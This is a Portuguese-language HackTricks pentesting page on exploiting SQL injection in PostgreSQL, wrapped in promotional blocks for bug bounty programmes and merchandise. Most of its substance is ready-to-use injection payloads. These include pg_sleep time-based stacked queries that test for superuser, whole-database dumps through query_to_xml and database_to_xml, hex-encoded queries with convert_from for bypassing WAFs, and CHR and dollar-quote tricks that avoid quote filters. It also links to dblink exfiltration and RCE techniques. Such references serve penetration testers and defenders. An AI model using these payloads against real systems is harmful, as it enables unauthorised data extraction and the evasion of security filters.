.. | ||
big-binary-files-upload-postgresql.md | ||
dblink-lo_import-data-exfiltration.md | ||
network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md | ||
pl-pgsql-password-bruteforce.md | ||
rce-with-postgresql-extensions.md | ||
rce-with-postgresql-languages.md | ||
README.md |
Injeção no PostgreSQL
Aprenda hacking na AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Dica de recompensa por bugs: inscreva-se no Intigriti, uma plataforma premium de recompensa por bugs criada por hackers, para hackers! Junte-se a nós em https://go.intigriti.com/hacktricks hoje e comece a ganhar recompensas de até $100.000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Esta página tem como objetivo explicar diferentes truques que podem ajudá-lo a explorar uma injeção SQL encontrada em um banco de dados postgresql e complementar os truques que você pode encontrar em https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md
Interação de Rede - Escalação de Privilégios, Scanner de Portas, Divulgação de Resposta de Desafio NTLM e Exfiltração
O módulo PostgreSQL dblink
oferece capacidades para se conectar a outras instâncias do PostgreSQL e executar conexões TCP. Esses recursos, combinados com a funcionalidade COPY FROM
, permitem ações como escalonamento de privilégios, varredura de portas e captura de resposta de desafio NTLM. Para métodos detalhados sobre como executar esses ataques, confira como realizar esses ataques.
Exemplo de Exfiltração usando dblink e objetos grandes
Você pode ler este exemplo para ver um exemplo de CTF de como carregar dados dentro de objetos grandes e depois exfiltrar o conteúdo dos objetos grandes dentro do nome de usuário da função dblink_connect
.
Ataques no PostgreSQL: Leitura/escrita, RCE, escalonamento de privilégios
Confira como comprometer o host e escalar privilégios a partir do PostgreSQL em:
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}
Bypass de WAF
Funções de String do PostgreSQL
Manipular strings pode ajudá-lo a burlar WAFs ou outras restrições.
Nesta página você pode encontrar algumas funções úteis de Strings.
Consultas Empilhadas
Lembre-se de que o postgresql suporta consultas empilhadas, mas várias aplicações lançarão um erro se 2 respostas forem retornadas quando se espera apenas 1. No entanto, você ainda pode abusar das consultas empilhadas via injeção de Tempo:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
Truques XML
query_to_xml
Esta função irá retornar todos os dados em formato XML em apenas um arquivo. É ideal se você deseja despejar muitos dados em apenas 1 linha:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
Esta função irá despejar todo o banco de dados no formato XML em apenas 1 linha (tenha cuidado se o banco de dados for muito grande, pois você pode causar um ataque de negação de serviço (DoS) nele ou até mesmo em seu próprio cliente):
SELECT database_to_xml(true,true,'');
Strings in Hex
Se você pode executar consultas passando-as dentro de uma string (por exemplo, usando a função query_to_xml
). Você pode usar o convert_from para passar a string como hexadecimal e contornar filtros dessa maneira:
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
{% endcode %}
Aspas proibidas
Se não puder usar aspas para sua carga útil, você pode contornar isso com CHR
para cláusulas básicas (a concatenação de caracteres funciona apenas para consultas básicas como SELECT, INSERT, DELETE, etc. Não funciona para todas as instruções SQL):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
Ou com $
. Essas consultas retornam os mesmos resultados:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
Dica de recompensa por bugs: Inscreva-se no Intigriti, uma plataforma premium de recompensas por bugs criada por hackers, para hackers! Junte-se a nós em https://go.intigriti.com/hacktricks hoje e comece a ganhar recompensas de até $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Aprenda hacking na AWS de zero a herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira produtos oficiais PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.